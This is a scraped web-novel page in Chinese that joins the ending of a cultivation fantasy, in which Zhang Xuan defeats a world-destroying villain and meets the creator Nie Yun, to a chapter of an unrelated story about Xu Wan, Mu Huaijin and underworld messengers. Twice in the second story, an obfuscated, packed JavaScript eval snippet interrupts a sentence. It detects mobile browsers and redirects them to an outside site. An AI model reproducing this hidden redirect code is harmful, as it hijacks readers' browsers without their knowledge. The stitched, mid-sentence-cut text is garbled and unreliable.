伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第374章 374.生辰八字不对 不消片刻,那些魂魄身上的灰黑色或是墨绿色、暗红色的浊气渐渐散去,转眼间幻化成一只只澄净透明的灵魂,面上都挂着充满希望和憧憬的微笑。 见超度仪式差不多了,徐莞又施法将黑白无常请了上来。 只见一道乌金色大门自夜空中缓缓降下,落在黄布之上。 大门打开,从中走出一黑一白两个身影。 徐莞即刻迎了上去,嘴甜道:“范叔谢叔,我又来给您们送魂魄了。” 身着白衣的范叔笑得和蔼又有些无奈,“丫头,你这是给我和你谢叔找了不少活儿啊。” 身着黑衣的谢叔黑着脸,带着怨气道:“行了,这些冤魂迟早都要入地府,早晚都是咱们的活,赶紧干吧。” 话毕,便打开名册,招呼着那些魂魄来他这里排好队,对着名册一一核实魂魄身份,并交待他们入地府后的事宜。 范叔见此,也无奈地笑笑,对徐莞道:“别生气,你也知道你谢叔的脾气。这回也辛苦你们了,我们就先去安置这些魂魄了。” 范叔说罢,抬步向谢叔走去,可刚走了几步,却脚步一顿,侧头向慕怀瑾望去,眼中流露出惊艳讶异之色。 “那是何人?” 徐莞循着他的目光望去,见他问的是慕怀瑾,便有些奇怪地问:“那是我夫君,永嘉侯慕怀瑾。有什么不对吗范叔?” 范叔微微摇头,“没有,只是觉得此人命格非凡,绝非等闲之辈。但周身却有诡异黑气盘绕,如苍龙困井,无法施展。” 说到此处,范叔顿了顿,翻开手中名册一边查看,一边问道:“慕怀瑾……你可知他的生辰八字?” 徐莞忆起二人成婚时,她查看过慕怀瑾的生辰,于是道:“他生于昭文三十一年九月十五,卯时三刻。地点在京城永嘉侯府。” 范叔在册子上查到慕怀瑾的姓名,看着看着,眉头渐渐蹙了起来,摇着头道: “不对…他并非出生于九月十五,而是九月十四,亥时三刻。地点也并非在永嘉侯府,而是……” “什么?他的生辰八字不对?”徐莞莫名惊诧,“他出生于何处?” 徐莞说着,下意识地凑到范叔身边,想探头去看他手上的名册。 范叔反应迅速地将其一阖,顺势递到另一只离徐莞稍远的手臂上,面带促狭的笑,眼里却透着一丝警惕。 “此物可不是谁都能随意看的哦。天机不可泄露。方才我已说漏了一些,稍后回地府该被阎王爷责罚喽。” 话及此,范叔稍稍低头向徐莞小声道:“丫头,千万别将此事说出去啊。” 徐莞自然明白此事的重要性,忙不迭点头应道:“好!范叔放心,此事我谁都不会说。” 范叔满意地点点头,“嗯。每个人的命数皆已被写在生死簿上。因缘际会时,一切自会大白。” “好的范叔,我明白!” 二人交谈罢,范叔便拿着生死簿帮谢叔去了。 徐莞立在原地,脑中还回想着方才范叔无意中说漏嘴的几句话。 从范叔的话中可以推知,自己看到的生辰八字,并不是慕怀瑾真正的八字,而且他出生的地点也不是永嘉侯府。 据此推测,难道慕怀瑾不是老永嘉侯亲生的? “菀菀,在想什么?” 耳边突然响起的嗓音,将徐莞吓了一跳,整个人一惊,慌忙转过身,“怀…怀瑾?” 慕怀瑾见她神色不对,像是做错事被人抓包一般,不由得半玩笑半试探地问,“你怎么了?方才白无常与你说了什么悄悄话?” “没…没什么嘿嘿…”徐莞讪笑着打马虎眼,“他们嫌弃我给他们找了太多活儿而已。” 懂得察言观色如慕怀瑾者,当然看出来徐莞有什么事瞒着他。 但他明白此时无需再问下去,徐莞不说自有她的理由。到了合适的时机她自然会说。 于是,慕怀瑾转开目光,望向数百个排着队,自黑白无常处核查通过的魂魄,嗓音里带着一丝笑意说: “此话不假。如此多魂魄,够黑白无常核查好几个时辰呢。” “师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“丫头,今后你可别再送如此多魂魄给我们了。” “好嘞!明白的!谢叔范叔你们慢走。”徐莞说着,为他们二人让出道。 谢叔范叔走到乌金大门前,范叔最后又望了慕怀瑾一眼,意味深长道:“慕怀瑾,好好珍惜你与徐莞的缘分。她是你命数中的关键。” “我的命数?”慕怀瑾反问道。 范叔与谢叔走进大门中,向慕怀瑾微微点头,“天机不可泄露。待时机成熟时,你自会知道真相。” 说罢,乌金大门在他们面前关闭,之后便缓缓上升,直至升入空中厚重的云层之中。 就在此时,一道金橘色的阳光,自东方天际倏然照耀在他们的身上。 众人转身望去,原来是一轮红彤彤的朝阳,从地平线下缓缓升了起来,盛放出的万缕阳光,顷刻间撒满整片大地。 慕怀瑾搂着徐莞的肩,一同面向东方而立,望着那轮冉冉升起的朝阳,心中充满无限的欣喜与希望。 何立骅与宋玉卿也一左一右搂着何宏彦,不约而同望着那个方向,心中皆是对往后新生活的期盼与信心。 “你我又共同解开了一件大案,拯救了那么多冤魂。真好。”慕怀瑾搂着徐莞的肩感慨万千。 徐莞点点头应道:“嗯。铲除罪恶奸佞,守卫世间道义,这也是道门所说的除魔卫道。天道轮回,有因必有果。公平正义定会永存人心。” 慕怀瑾心中亦有些激动动容。这不也是他一直奉行的心虔吗?而今后他也会一直坚持下去。 少倾,慕怀瑾轻轻呼出一口气,似放下了心中一件大事,“忙完了此事,我们总算能歇歇了。” 而后顿了顿,侧头暧昧地望向徐莞,轻轻拉住她鬓角的一缕碎发,缓缓在指间缠绕,眼神如拉丝一般。 “多少个夜晚我们都没睡过好觉。此次回府后,晚上我们美美睡上一觉,不要有任何人打扰……” 他的气息喷在她耳朵里,痒痒的,惹得她的心也痒了一下。 不过她可不想如此轻易就让慕怀瑾得手,遂侧头挑眉傲然说:“睡什么睡,我们还有更重要的事务要办。” 慕怀瑾:“……”有个事业心比自己还强的媳妇,是什么天下奇冤! 随后,几人便在朝阳的照耀之下,开始收拾祭坛与法器。 又忙碌了半个多时辰,才将一切收拾好,一同下山回嘉礼县。 回到嘉礼县城客栈里,休整大半天后,到了傍晚时分,两方人也到了该分别的时候。 何立骅带着妻儿立在慕徐二人面前,向他们深深一拜。 “侯爷、夫人,嘉礼县一事已了结,我们也该回乡了。等我们安定下来,一定日日为青云观祖师爷上香,求你们康健平顺。” 慕怀瑾点头,示意白虎将一个小木盒交给何立骅。 何立骅接过后打开,双眼蓦地睁大,里面竟放着厚厚一叠银票,少说也有五百两。 “这…侯爷,这使不得啊!”何立骅惶恐地要将木匣还给慕怀瑾。 慕怀瑾抬手一挡,宽厚道:“何公子不必客气。这些是你当初付给我夫人的定金。我与夫人商议后,决定将定金还给你。 因为令公子之事能解决,全是你的功劳。我与夫人都觉得不应收你们的银子。” “这怎么行?”宋玉卿都急急出言解释,“侯爷与夫人一路陪我们调查,还救了我们全家的命,更帮宏彦恢复正常。 如此大恩我们报答还来不及,怎还能收回以前的定金?” 徐莞上前一步,不由分说将木匣塞进宋玉卿手里,“宋姐姐你们就莫要再推辞了。我不收自有我不收的道理。 另外你们回乡需要银子安置,这些银票应该够你们在家乡买几亩地,或开间小铺子了。” 何立骅与宋玉卿望着他们,眼中又有依稀的泪光闪烁。 末了,何立骅点点头,无比动容又感激道:“大恩不言谢。今后慕家若是有任何需要,我何立骅赴汤蹈火,在所不辞!” 慕徐二人与何宋两对夫妇互相凝望着对方,在对方眼中都望见英雄惜英雄的情义。 在夕阳落山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15970721|165054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之前,两方人分别坐上两辆马车,一同驶出嘉礼县城,在城外向两个方向分离而去。 橘红色夕阳洒在黄沙漫漫的大漠上,两辆马车的车轮,在广袤无垠的大漠中,划出两道清晰均匀的车辙,如命运的齿轮,向东西两个方向蜿蜒而去,直至消失在逐渐弥漫而上的夜色中。 === 